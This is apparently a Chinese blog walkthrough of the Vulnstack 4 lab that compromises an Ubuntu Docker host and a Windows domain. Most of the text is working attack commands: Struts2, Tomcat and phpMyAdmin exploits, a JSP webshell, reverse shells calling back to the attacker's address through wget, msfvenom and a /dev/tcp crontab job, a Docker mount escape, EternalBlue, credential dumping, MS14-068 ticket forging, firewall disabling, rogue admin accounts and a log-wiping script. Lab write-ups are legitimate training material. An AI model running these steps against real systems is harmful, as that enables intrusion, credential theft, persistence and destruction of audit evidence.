Vulnstack內網靶場4

1_Ry發表於2021-11-07

環境

漏洞詳情 (qiyuanxuetang.net)

僅主機模式內網網段192.168.183.0/24

外網網段192.168.157.0/24

其中Ubuntu作為對外的內網機器

 攻擊機kali地址:192.168.157.129  懸劍:192.168.157.130

還需要進入ubuntu開啟服務,密碼ubuntu

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045v
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613
sudo docker-compose up -d

 

 資訊收集

nmap -sS 192.168.157.0/24
nmap -sV -A 192.168.157.128

 可以看到2001、2002、2003分別對應jetty、tomcat、apache中介軟體

從2001埠開始吧

 

Ubuntu Getshell

2001Struts2

web介面是這樣的,標題提示了是struts2的框架

嘗試了一下上傳一句話木馬,上傳成功了但是無路徑回顯無法利用

 直接上struts2掃描工具

 

 看到存在漏洞S2-045、S2-046,查了一下是命令執行漏洞,驗證一下

接著使用wget上傳木馬getshell 

 kali開啟apache服務

service apache2 start 

製作msf木馬,放在var/www/html下

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f elf > shell.elf

遠端執行命令

wget http://192.168.157.129/shell.elf

 可以看到木馬已經上傳上去

 接著chmod +x shell.elf新增一個執行許可權 然後./shell.elf執行就行了

 

2002tomcat

Tomcat 8.5.19版本,查詢了一下,存在CVE-2017-12615任意寫入檔案漏洞,漏洞本質是Tomcat配置檔案/conf/web.xml 配置了可寫(readonly=false),導致我們可以往伺服器寫檔案。

抓個包,修改一下資料包改成put,寫入木馬(因為是tomcat,所以用jsp後門)

 

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

蟻劍連線

 

 同樣可以反彈msf shell就不演示了

 

2003phpMyAdmin

連密碼都不用就直接進去了,那就檢視一下版本號看看存在什麼漏洞

4.8.1遠端檔案包含漏洞(CVE-2018-12613)

驗證一下是否存在,接下來就寫入一句話然後檔案包含連線

http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

 

但是試了一下就算知道了絕對路徑也無法檔案包含資料庫內的一句話,進去ubuntu看了一下也根本沒有這個路徑,十分奇怪

 後來看到網上的poc,還可以使用session包含,測試一下

http://192.168.157.128:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_a87f3b504810883a0db7aa69946f1988

 

 這個原理就是包含快取檔案,接著就寫入一句話

但寫了一句話之後,蟻劍也連線不上,看了一下快取檔案的資訊,發現一句話被序列化儲存了,沒辦法利用

絕對路徑也沒法使用,這裡只能放棄這個方法getshell了

 

docker逃逸

拿到shell之後首先要做的就是看看是否存在內網,掃描一下是否存在其他網段

但是明明是root使用者ifconfig的命令卻用不了,加上之前phpmyadmin的路徑問題,讓我懷疑我是不是在虛擬機器的容器裡

果然還是沒有這麼簡單,現在要離開這個容器,由於之前沒有接觸過容器,急忙惡補了容器的知識初識Docker逃逸 - FreeBuf網路安全行業門戶

這裡我嘗試採用了目錄掛載逃逸

檢視磁碟檔案:

fdisk -l

 從返回結果來看sda1、sda2、sda5在/dev目錄下。 

新建一個目錄/test,然後將/dev/sda1掛載到新建的目錄下

mkdir /test
mount /dev/sda1 /test

可以看到現在可以通過訪問docker容器內部掛載整個宿主機本地檔案的/test,來實現訪問整個宿主機的目的。

 

 在計劃任務裡寫入一個bash反彈shell的指令碼

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.129/9999 0>&1"  >> /test/tmp/shell.sh
chmod +x /test/tmp/shell.sh
cat /test/tmp/shell.sh

 寫入crontab計劃任務,表示每隔兩分鐘以root許可權執行一次計劃

echo '*/2 * * * * root  bash /tmp/shell.sh' > /test/etc/crontab

cat  /test/etc/crontab檢視是否寫入成功

 kali nc監聽

nc -lvp 9999 

 成功!

 

內網穿越

反彈個shell給msf

 

run get_local_subnets
run autoroute -s 192.168.183.0/24
run autoroute -p

新增內網路由

use auxiliary/server/socks_proxy

設定一下代理

開啟proxychains4配置埠

vi /etc/proxychains4.conf

現在可以通過proxychains4實現內網訪問

 

內網資訊收集

use auxiliary/scanner/smb/smb_version  
set rhosts 192.168.183.0/24 
set threads 100

192.168.183.129 windows7

192.168.183.130 windows 2008

屬於DEMO域

與此同時nmap的掃描也掃出來這兩個ip

proxychains nmap -Pn -sT 192.168.183.0/24 

 埠掃描一些看看具體開放了哪些埠

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.183.129-130

 大概開放了這些,引人注目的就是445埠了,直接掃一下永恆之藍

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.183.129-130

顯示兩個都易受到永恆之藍攻擊

payload要設定為正向

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.129
set payload windows/x64/meterpreter/bind_tcp

win7直接拿下,但是win2008被打的藍屏重啟,不能用

繼續資訊收集一下,看看有沒有別的遺漏

亂碼問題輸入chcp 65001

ipconfig
net view /domain
net time /domain
net user /domain 
net group /domain
net group "domain computers" /domain
net group "domain controllers" /domain
net group "domain admins" /domain net group
"Enterprise Admins" /domain

 但是無法進一步收集域內的資訊了

 load kiwi看看能不能抓取到密碼

load kiwi
creds_all

 一個域內使用者douser和密碼

 只能通過遠端桌面連線看看能不能收集到什麼資訊了

 新增一個管理員使用者,準備遠端桌面

net user lry Admin111 /add
net localgroup administrators lry /add

 開啟3389埠

run post/windows/manage/enable_rdp

通過代理連線遠端桌面

proxychains rdesktop 192.168.183.129

 試了一下域內的使用者登陸不上去

 用了剛剛建立的管理員賬戶登陸上去也無濟於事,後來突然意識到msf有個令牌竊取的功能Metasploit用法詳解 - 1_Ry - 部落格園 (cnblogs.com)

load incognito
list_tokens -u
impersonate_token DEMO\\douser   \\注意要加兩個斜槓

 現在就可以進行域內的資訊收集了

Domain controllers:
WIN-ENS2VR5TR3N

域名:demo.com

域管賬戶:Administrator

橫向移動

 現在獲取了win7的許可權,但是2008的密碼抓不到,win7也沒有許可權訪問,查詢了一下之前的筆記,不需要用到管理員許可權的橫向只能試試MS14-068了內網安全:域內橫向移動 - 1_Ry - 部落格園 (cnblogs.com)

檢視SID

whoami /user

 S-1-5-21-979886063-1111900045-1414766810-1107

 域內使用者douser和密碼Dotest123

本來想上傳上去,但發現裡面有ms14-068和mimikatz.exe

使用ms14-068.exe生成票據

ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

清除票據

klist purge  \\清除
klist        \\檢視

使用mimikatz匯入票據

mimikatz.exe "kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache"

成功,這裡dir不能用ip只能用主機名

連線成功後先用sc建立任務把防火牆遠端關掉

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

接下來上傳一個msf正向木馬到win7再到域控

msfvenom -p windows/x64/meterpreter/bind_tcp -f exe > shell.exe

 

建立計劃任務的時候顯示許可權不足,那就繼續用sc建立任務  

schtasks /create /s 192.168.183.130 /tn test /sc onstart /tr c:\calc.bat /ru system /f

sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe"
sc \\WIN-ENS2VR5TR3N start Startup

正向監聽getshell

 

許可權維持

獲取的shell很不穩定,快速收集資訊進行許可權維持

kiwi獲取密碼

或者

 新增一個域管理員使用者

net user lry Admin111 /add
net group "domain admins" lry /add

 開啟3389埠

run post/windows/manage/enable_rdp

 使用lry管理員登陸了上去

proxychains rdesktop 192.168.183.130 

上傳一個mimikatz到域控

privilege::debug
lsadump::lsa /patch

獲取到域的SID和krbtgt的NTML後就可以製作黃金票據了

 黃金票據、白銀票據 - 1_Ry - 部落格園 (cnblogs.com)具體就不製作了,現在只要域管理員不改krbtgt密碼,我們就可以以域內普通使用者的身份訪問域控

 

痕跡清理

 Linux

清除命令歷史記錄

histroy -r          #刪除當前會話歷史記錄

history -c          #刪除記憶體中的所有命令歷史

rm .bash_history   #刪除歷史檔案中的內容

HISTZISE=0          #通過設定歷史命令條數來清除所有歷史記錄

在隱蔽的位置執行命令

使用vim開啟檔案執行命令

 

:set history=0

:!command

 

linux日誌檔案

/var/run/utmp 記錄現在登入的使用者

/var/log/wtmp 記錄使用者所有的登入和登出

/var/log/lastlog 記錄每一個使用者最後登入時間

/var/log/btmp 記錄錯誤的登入嘗試

/var/log/auth.log 需要身份確認的操作

/var/log/secure 記錄安全相關的日誌資訊

/var/log/maillog 記錄郵件相關的日誌資訊

/var/log/message 記錄系統啟動後的資訊和錯誤日誌

/var/log/cron 記錄定時任務相關的日誌資訊

/var/log/spooler 記錄UUCP和news裝置相關的日誌資訊

/var/log/boot.log 記錄守護程式啟動和停止相關的日誌訊息

完全刪除日誌檔案:

 

cat /dev/null > filename

: > filename

> filename

echo "" > filename

echo > filename

針對性刪除日誌檔案:

 

刪除當天日誌

sed  -i '/當天日期/'d  filename

 

一鍵清除指令碼:

#!/usr/bin/bash

echo > /var/log/syslog

echo > /var/log/messages

echo > /var/log/httpd/access_log

echo > /var/log/httpd/error_log

echo > /var/log/xferlog

echo > /var/log/secure

echo > /var/log/auth.log

echo > /var/log/user.log

echo > /var/log/wtmp

echo > /var/log/lastlog

echo > /var/log/btmp

echo > /var/run/utmp

rm ~/./bash_history

history -c

 

windows

msf

1.檢視事件日誌

run event_manager -i

2.刪除事件日誌

run event_manager -c

3.clearv命令清除目標系統的事件日誌。

 4、還需要手動刪除剛剛上傳的後門